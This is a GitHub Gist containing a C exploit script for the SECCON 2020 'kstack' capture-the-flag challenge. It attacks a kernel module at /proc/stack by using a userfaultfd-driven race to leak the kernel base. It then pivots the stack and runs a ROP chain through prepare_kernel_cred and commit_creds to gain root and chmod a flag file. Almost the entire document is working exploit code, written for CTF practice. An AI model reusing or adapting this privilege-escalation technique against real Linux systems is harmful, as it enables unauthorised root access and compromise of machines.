Last active
October 11, 2020 08:05
-
-
Save d4em0n/cd358e64ff956a772ebdb531a985ac2a to your computer and use it in GitHub Desktop.
SECCON 2020 kstack exploit script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <unistd.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <linux/userfaultfd.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <linux/sched.h> | |
#include <sys/wait.h> | |
#include <time.h> | |
#include <errno.h> | |
typedef unsigned long ulong; | |
#define CMD_PUSH 0x57ac0001 | |
#define CMD_POP 0x57ac0002 | |
#define PAGESIZE 4096 | |
int hack; | |
int Open(const char *fname, int mode) { | |
int fd = open(fname, mode); | |
if (fd < 0) { | |
perror("open"); | |
exit(-1); | |
} | |
return fd; | |
} | |
int userfaultfd(int flags) | |
{ | |
return syscall(323, flags); // userfaultfd | |
} | |
int prepareUFD(void* pages, unsigned long memsize) { | |
int fd = 0; | |
if ((fd = userfaultfd(O_NONBLOCK)) == -1) { | |
fprintf(stderr, "++ userfaultfd failed: %m\n"); | |
exit(-1); | |
} | |
struct uffdio_api api = { .api = UFFD_API }; | |
if (ioctl(fd, UFFDIO_API, &api)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); | |
exit(-1); | |
} | |
if (api.api != UFFD_API) { | |
fprintf(stderr, "++ unexepcted UFFD api version.\n"); | |
exit(-1); | |
} | |
struct uffdio_register reg = { | |
.mode = UFFDIO_REGISTER_MODE_MISSING, | |
.range = { | |
.start = (long) pages, | |
.len = memsize | |
} | |
}; | |
if (ioctl(fd, UFFDIO_REGISTER, ®)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); | |
exit(-1); | |
} | |
if (reg.ioctls != UFFD_API_RANGE_IOCTLS) { | |
fprintf(stderr, "++ unexpected UFFD ioctls.\n"); | |
exit(-1); | |
} | |
return fd; | |
} | |
void push(int fd, unsigned long value) { | |
unsigned long b = value; | |
ioctl(fd, CMD_PUSH, &b); | |
return; | |
} | |
unsigned long pop(int fd) { | |
unsigned long b = -1; | |
ioctl(fd, CMD_POP, &b); | |
return b; | |
} | |
void* hack_pop(void* pages) { | |
printf("hack_pop\n"); | |
int ret = ioctl(hack, CMD_PUSH, pages); | |
return NULL; | |
} | |
// 0xffffffff8102ce8f // xchg eax, esp | |
int main(void) { | |
hack = Open("/proc/stack", O_RDWR); | |
int procfds[30]; | |
void* pages1; | |
void* pages_rop; | |
ulong test = 0; | |
ulong kern_base, rop_loc, map_addr; | |
ulong xchg_eax_esp = 183951; | |
ulong pop_rbp = 139573; | |
ulong add_esp_eax = 959959; | |
ulong mov_rdi_rax = 0xa296e; // mov rdi, rax ; cmp r8, rdx ; jne 0xffffffff810a295b ; ret | |
ulong mov_rdi_rax2 = 2226330; | |
ulong swapgs = 257828; | |
ulong iretq = 120262; | |
ulong pop_r8 = 0x22beb4; | |
ulong pop_rdx = 0x10dc0f; | |
ulong pop_rdi = 0x34505; | |
ulong pop_rcx = 232180; | |
ulong pop_rsp = 767347; | |
ulong pop_rsi = 0x47a8e; | |
ulong pop_rax = 131761; | |
ulong ret = pop_rax+1; | |
ulong commit_creds = 0x69c10; | |
ulong prepare_kernel_cred = 0x69e00; | |
ulong chmod_internal = 0x118910; | |
ulong msleep = 0x9a950; | |
push(hack, 0x414141); | |
push(hack, 0x424242); | |
push(hack, 0x414141); | |
push(hack, 0x424242); | |
char* tmp = malloc(0x20); | |
int i; | |
memset(tmp, 'A', 0x10); | |
if ((pages1 = mmap(NULL, PAGESIZE, PROT_READ|PROT_WRITE, | |
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { | |
fprintf(stderr, "++ mmap failed: %m\n"); | |
return -1; | |
} | |
for(i=0;i<20;i++) | |
procfds[i] = Open("/proc/self/stat", O_RDONLY); | |
for(i=0;i<20;i++) | |
close(procfds[i]); | |
int ufd1 = prepareUFD(pages1, PAGESIZE); | |
int fd = ufd1; | |
pthread_t thread = {0}; | |
printf("creating thread\n"); | |
if (pthread_create(&thread, NULL, hack_pop, pages1)) { | |
fprintf(stderr, "++ pthread_create failed: %m\n"); | |
goto cleanup_error; | |
} | |
//void *fakestack = malloc(0x10000); | |
//clone(hack_pop, fakestack + 0x10000, CLONE_THREAD | CLONE_SIGHAND | CLONE_VM, (void*)pages1); | |
printf("yess\n"); | |
printf("wait poll\n"); | |
struct pollfd evt = { .fd = fd, .events = POLLIN }; | |
while (poll(&evt, 1, 10) > 0) { | |
/* unexpected poll events */ | |
printf("masuk\n"); | |
if (evt.revents & POLLERR) { | |
fprintf(stderr, "++ POLLERR\n"); | |
goto cleanup_error; | |
} else if (evt.revents & POLLHUP) { | |
fprintf(stderr, "++ POLLHUP\n"); | |
goto cleanup_error; | |
} | |
struct uffd_msg fault_msg = {0}; | |
if (read(fd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { | |
fprintf(stderr, "++ read failed: %m\n"); | |
goto cleanup_error; | |
} | |
char *place = (char *)fault_msg.arg.pagefault.address; | |
if (fault_msg.event != UFFD_EVENT_PAGEFAULT | |
|| (place != pages1)) { | |
fprintf(stderr, "unexpected pagefault?.\n"); | |
goto cleanup_error; | |
} | |
printf("%p\n", place); | |
if(place == pages1) { | |
fprintf(stderr, "accessed %p\n", place); | |
kern_base = pop(hack)-1293952; | |
printf("kern_base=%p\n", kern_base); | |
xchg_eax_esp += kern_base; | |
*(ulong*)tmp = xchg_eax_esp; | |
for(i=0;i<5;i++) | |
procfds[i] = Open("/proc/self/stat", O_RDONLY); | |
sleep(2); | |
} | |
struct uffdio_copy copy = { | |
.dst = (long) place, | |
.src = (long) tmp, | |
.len = PAGESIZE | |
}; | |
if (ioctl(fd, UFFDIO_COPY, ©)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_COPY, ...) failed: %m\n"); | |
goto cleanup_error; | |
} | |
} | |
goto cleanup; | |
cleanup_error: | |
return 1; | |
cleanup: | |
rop_loc = xchg_eax_esp&0xffffffff; | |
map_addr = xchg_eax_esp&0xfffff000; | |
if ((pages_rop = mmap(map_addr, 0x40000, PROT_READ|PROT_WRITE, | |
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { | |
fprintf(stderr, "++ mmap failed: %m\n"); | |
return -1; | |
} | |
ulong rop = map_addr+0x100; | |
printf("rop: %p\n", rop); | |
char* flag = "flag"; | |
ulong mfence = kern_base+278541; | |
add_esp_eax += kern_base; | |
pop_rcx += kern_base; | |
pop_rsp += kern_base; | |
pop_rbp += kern_base; | |
ret += kern_base; | |
pop_rax += kern_base; | |
mov_rdi_rax += kern_base; | |
mov_rdi_rax2 += kern_base; | |
pop_rsi += kern_base; | |
pop_r8 += kern_base; | |
pop_rdx += kern_base; | |
pop_rdi += kern_base; | |
swapgs += kern_base; | |
iretq += kern_base; | |
commit_creds += kern_base; | |
prepare_kernel_cred += kern_base; | |
chmod_internal += kern_base; | |
msleep += kern_base; | |
printf("pop_rsp %p\n", pop_rsp); | |
printf("pop_rax %p\n", pop_rax); | |
printf("swapgs %p\n", swapgs); | |
printf("commit_creds %p\n", commit_creds); | |
printf("prepare_kernel_cred %p\n", prepare_kernel_cred); | |
printf("chmod_internal %p\n", chmod_internal); | |
unsigned long *buf = (void*)rop_loc; | |
i = 0; | |
sleep(5); | |
buf[i++] = pop_rdi; | |
buf[i++] = 0; | |
buf[i++] = prepare_kernel_cred; | |
buf[i++] = pop_rsi; | |
buf[i++] = 1; | |
buf[i++] = pop_rcx; | |
buf[i++] = 0; | |
buf[i++] = mov_rdi_rax2; | |
buf[i++] = 0x4242424242424; | |
buf[i++] = commit_creds; | |
buf[i++] = pop_rdi; | |
buf[i++] = 0xffffff9c; | |
buf[i++] = pop_rsi; | |
buf[i++] = flag; // flag must be string in user address space | |
buf[i++] = pop_rdx; | |
buf[i++] = 0777; | |
buf[i++] = chmod_internal; | |
buf[i++] = pop_rdi; | |
buf[i++] = 0x1000000; | |
buf[i++] = msleep; | |
for(i=0;i<5;i++) { | |
printf("%d\n", i); | |
read(procfds[i], tmp, 0x10); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment